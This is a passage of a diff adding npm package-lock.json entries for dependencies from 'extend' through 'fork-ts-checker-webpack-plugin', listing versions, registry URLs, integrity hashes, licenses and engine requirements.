"sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true, + "license": "MIT" + }, + "node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extglob/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extglob/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extglob/node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/extract-zip": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", + "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "debug": "^4.1.1", + "get-stream": "^5.1.0", + "yauzl": "^2.10.0" + }, + "bin": { + "extract-zip": "cli.js" + }, + "engines": { + "node": ">= 10.17.0" + }, + "optionalDependencies": { + "@types/yauzl": "^2.9.1" + } + }, + "node_modules/extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "license": "MIT" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.2.11", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", + "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "license": "MIT" + }, + "node_modules/fastq": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/faye-websocket": { + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "license": "Apache-2.0", + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/fb-watchman": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.1.tgz", + "integrity": "sha512-DkPJKQeY6kKwmuMretBhr7G6Vodr7bFwDYTXIkfG1gjvNpaxBTQV3PbXg6bR1c1UP4jPOX0jHUbbHANL9vRjVg==", + "license": "Apache-2.0", + "dependencies": { + "bser": "2.1.1" + } + }, + "node_modules/fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "pend": "~1.2.0" + } + }, + "node_modules/figures": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz", + "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "escape-string-regexp": "^1.0.5" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "license": "MIT", + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/file-loader": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "license": "MIT", + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/filelist": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "license": "Apache-2.0", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/filelist/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/filelist/node_modules/minimatch": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.0.tgz", + "integrity": "sha512-9TPBGGak4nHfGZsPBohm9AWg6NoT7QTCehS3BIJABslyZbzxfV78QM2Y6+i741OPZIafFAaiiEMh5OyIrJPgtg==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/filesize": { + "version": "8.0.7", + "resolved": "https://registry.npmjs.org/filesize/-/filesize-8.0.7.tgz", + "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", + "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", + "license": "MIT", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/find-webpack": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/find-webpack/-/find-webpack-2.2.1.tgz", + "integrity": "sha512-OdDtn2AzQvu3l9U1TS5ALc7uTVcLK/yv3fhjo+Pz7yuv4hG3ANKnbkKnPIPZ5ofd9mpYe6wRf5g5H4X9Lx48vQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "4.1.1", + "find-yarn-workspace-root": "1.2.1", + "mocked-env": "1.3.2" + } + }, + "node_modules/find-webpack/node_modules/braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "license": "MIT", + "dependencies": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/find-webpack/node_modules/braces/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/find-webpack/node_modules/debug": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", + "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/find-webpack/node_modules/fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/find-webpack/node_modules/fill-range/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/find-webpack/node_modules/find-yarn-workspace-root": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/find-yarn-workspace-root/-/find-yarn-workspace-root-1.2.1.tgz", + "integrity": "sha512-dVtfb0WuQG+8Ag2uWkbG79hOUzEsRrhBzgfn86g2sJPkzmcpGdghbNTfUKGTxymFrY/tLIodDzLoW9nOJ4FY8Q==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "fs-extra": "^4.0.3", + "micromatch": "^3.1.4" + } + }, + "node_modules/find-webpack/node_modules/fs-extra": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz", + "integrity": "sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.1.2", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + } + }, + "node_modules/find-webpack/node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/find-webpack/node_modules/is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/find-webpack/node_modules/is-number/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/find-webpack/node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "dev": true, + "license": "MIT", + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/find-webpack/node_modules/micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "license": "MIT", + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/find-webpack/node_modules/to-regex-range": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", + "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^3.0.0", + "repeat-string": "^1.6.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/find-webpack/node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/find-yarn-workspace-root": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/find-yarn-workspace-root/-/find-yarn-workspace-root-2.0.0.tgz", + "integrity": "sha512-1IMnbjt4KzsQfnhnzNd8wUEgXZ44IzZaZmnLYx7D5FZlaHt2gW20Cri8Q+E/t5tIj4+epTBub+2Zxu/vNILzqQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "micromatch": "^4.0.2" + } + }, + "node_modules/flat-cache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "license": "MIT", + "dependencies": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.6.tgz", + "integrity": "sha512-0sQoMh9s0BYsm+12Huy/rkKxVu4R1+r96YX5cG44rHV0pQ6iC3Q+mkoMFaGWObMFYQxCVT+ssG1ksneA2MI9KQ==", + "license": "ISC" + }, + "node_modules/follow-redirects": { + "version": "1.15.1", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.1.tgz", + "integrity": "sha512-yLAMQs+k0b2m7cVxpS1VKJVvoz7SS9Td1zss3XRwXj+ZDH00RJgnuLx7E44wx02kQLrdM3aOOy+FpzS7+8OizA==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-each": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz", + "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==", + "license": "MIT", + "dependencies": { + "is-callable": "^1.1.3" + } + }, + "node_modules/for-in": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", + "integrity": "sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/fork-ts-checker-webpack-plugin": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.2.tgz", + "integrity": "sha512-m5cUmF30xkZ7h4tWUgTAcEaKmUW7tfyUyTqNNOz7OxWJ0v1VWKTcOvH8FWHUwSjlW/356Ijc9vi3XfcPstpQKA==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.8.3", + "@types/json-schema": "^7.0.5", + "chalk": "^4.1.0", + "chokidar": "^3.4.2", + "cosmiconfig": "^6.0.0", + "deepmerge": "^4.2.2", + "fs-extra": "^9.0.0", + "glob": "^7.1.6", + "memfs": "^3.1.2", + "minimatch": "^3.0.4", + "schema-utils": "2.7.0", + "semver": "^7.3.2", + "tapable": "^1.0.0" + }, + "engines": { + "node": ">=10", + "yarn": ">=1.0.0" + }, + "peerDependencies": { + "eslint": ">= 6", + "typescript": ">= 2.7", + "vue-template-compiler": "*", + "webpack": ">= 4" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + }, + "vue-template-compiler": { + "optional": true + } + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz", + "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==", + "license": "MIT", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.7.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + 